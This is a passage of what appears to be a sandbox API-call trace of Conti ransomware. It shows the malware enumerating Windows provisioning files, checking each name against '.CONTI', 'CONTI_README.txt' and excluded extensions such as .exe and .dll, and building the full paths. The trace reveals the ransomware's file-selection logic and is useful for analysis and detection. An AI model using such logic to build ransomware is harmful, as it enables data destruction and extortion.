	[0109.360] StrStrIW (lpFirst="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.360] StrStrIW (lpFirst="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.360] StrStrIW (lpFirst="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.360] StrStrIW (lpFirst="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.360] StrStrIW (lpFirst="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.360] StrStrIW (lpFirst="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.360] StrStrIW (lpFirst="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.360] StrStrIW (lpFirst="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.360] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.360] lstrlenW (lpString="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml") returned 71
	[0109.360] GetProcessHeap () returned 0x1720000
	[0109.360] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x656c810
	[0109.360] lstrcpyW (in: lpString1=0x656c810, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.360] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.360] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml"
	[0109.360] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d28fbc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d28fbc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d28fbc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="356__C~1.PRO")) returned 1
	[0109.360] lstrcmpiW (lpString1="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.360] lstrcmpiW (lpString1="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.360] StrStrIW (lpFirst="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.360] StrStrIW (lpFirst="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.360] StrStrIW (lpFirst="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.360] StrStrIW (lpFirst="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.360] StrStrIW (lpFirst="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.360] StrStrIW (lpFirst="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.361] StrStrIW (lpFirst="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.361] StrStrIW (lpFirst="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.361] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.361] lstrlenW (lpString="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.361] GetProcessHeap () returned 0x1720000
	[0109.361] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x6516d70
	[0109.361] lstrcpyW (in: lpString1=0x6516d70, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.361] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.361] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.361] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d28fbc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d28fbc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d28fbc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="357_CO~1.PRO")) returned 1
	[0109.361] lstrcmpiW (lpString1="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.361] lstrcmpiW (lpString1="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.361] StrStrIW (lpFirst="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.361] StrStrIW (lpFirst="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.361] StrStrIW (lpFirst="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.361] StrStrIW (lpFirst="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.361] StrStrIW (lpFirst="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.361] StrStrIW (lpFirst="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.361] StrStrIW (lpFirst="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.361] StrStrIW (lpFirst="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.361] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.361] lstrlenW (lpString="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml") returned 109
	[0109.361] GetProcessHeap () returned 0x1720000
	[0109.361] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x190) returned 0x6516e98
	[0109.361] lstrcpyW (in: lpString1=0x6516e98, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.361] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.361] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0109.361] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d28fbc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d28fbc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d28fbc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2b7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", cAlternateFileName="358_CO~1.PRO")) returned 1
	[0109.361] lstrcmpiW (lpString1="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.361] lstrcmpiW (lpString1="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.361] StrStrIW (lpFirst="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.361] StrStrIW (lpFirst="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.362] StrStrIW (lpFirst="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.362] StrStrIW (lpFirst="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.362] StrStrIW (lpFirst="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.362] StrStrIW (lpFirst="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.362] StrStrIW (lpFirst="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.362] StrStrIW (lpFirst="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.362] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.362] lstrlenW (lpString="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml") returned 109
	[0109.362] GetProcessHeap () returned 0x1720000
	[0109.362] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x190) returned 0x181e060
	[0109.362] lstrcpyW (in: lpString1=0x181e060, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.362] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.362] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml"
	[0109.362] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d28fbc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d28fbc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d28fbc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1f1, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="359__C~1.PRO")) returned 1
	[0109.362] lstrcmpiW (lpString1="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.362] lstrcmpiW (lpString1="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.362] StrStrIW (lpFirst="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.362] StrStrIW (lpFirst="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.362] StrStrIW (lpFirst="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.362] StrStrIW (lpFirst="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.362] StrStrIW (lpFirst="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.362] StrStrIW (lpFirst="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.362] StrStrIW (lpFirst="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.362] StrStrIW (lpFirst="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.362] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.362] lstrlenW (lpString="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned 81
	[0109.362] GetProcessHeap () returned 0x1720000
	[0109.362] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x158) returned 0x181e1f8
	[0109.362] lstrcpyW (in: lpString1=0x181e1f8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.362] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.362] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0109.362] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901fba3a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901fba3a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901fba3a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x347, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="35__CO~1.PRO")) returned 1
	[0109.363] lstrcmpiW (lpString1="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.363] lstrcmpiW (lpString1="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.363] StrStrIW (lpFirst="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.363] StrStrIW (lpFirst="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.363] StrStrIW (lpFirst="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.363] StrStrIW (lpFirst="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.363] StrStrIW (lpFirst="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.363] StrStrIW (lpFirst="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.363] StrStrIW (lpFirst="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.363] StrStrIW (lpFirst="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.363] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.363] lstrlenW (lpString="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.363] GetProcessHeap () returned 0x1720000
	[0109.363] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x65667b0
	[0109.363] lstrcpyW (in: lpString1=0x65667b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.363] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.363] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml"
	[0109.363] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d28fbc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d28fbc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d28fbc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="360__C~1.PRO")) returned 1
	[0109.363] lstrcmpiW (lpString1="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.363] lstrcmpiW (lpString1="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.363] StrStrIW (lpFirst="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.364] StrStrIW (lpFirst="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.364] StrStrIW (lpFirst="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.364] StrStrIW (lpFirst="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.364] StrStrIW (lpFirst="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.364] StrStrIW (lpFirst="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.364] StrStrIW (lpFirst="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.364] StrStrIW (lpFirst="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.364] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.364] lstrlenW (lpString="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml") returned 80
	[0109.364] GetProcessHeap () returned 0x1720000
	[0109.364] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x156) returned 0x181e358
	[0109.365] lstrcpyW (in: lpString1=0x181e358, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
